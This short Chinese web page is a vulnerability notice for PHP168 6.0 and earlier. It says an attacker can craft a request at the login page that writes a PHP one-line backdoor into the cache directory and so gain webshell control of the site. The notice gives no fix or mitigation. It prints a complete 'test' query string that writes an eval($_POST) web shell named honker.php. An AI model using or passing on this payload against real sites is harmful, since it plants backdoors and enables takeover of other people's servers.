当前位置:
首页 > 其他 > PHP168 6.0及以下版本漏洞

PHP168 6.0及以下版本漏洞

危险等级:高

影响版本:PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句:
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

PHP168 6.0及以下版本漏洞:等您坐沙发呢!

发表评论

表情
还能输入210个字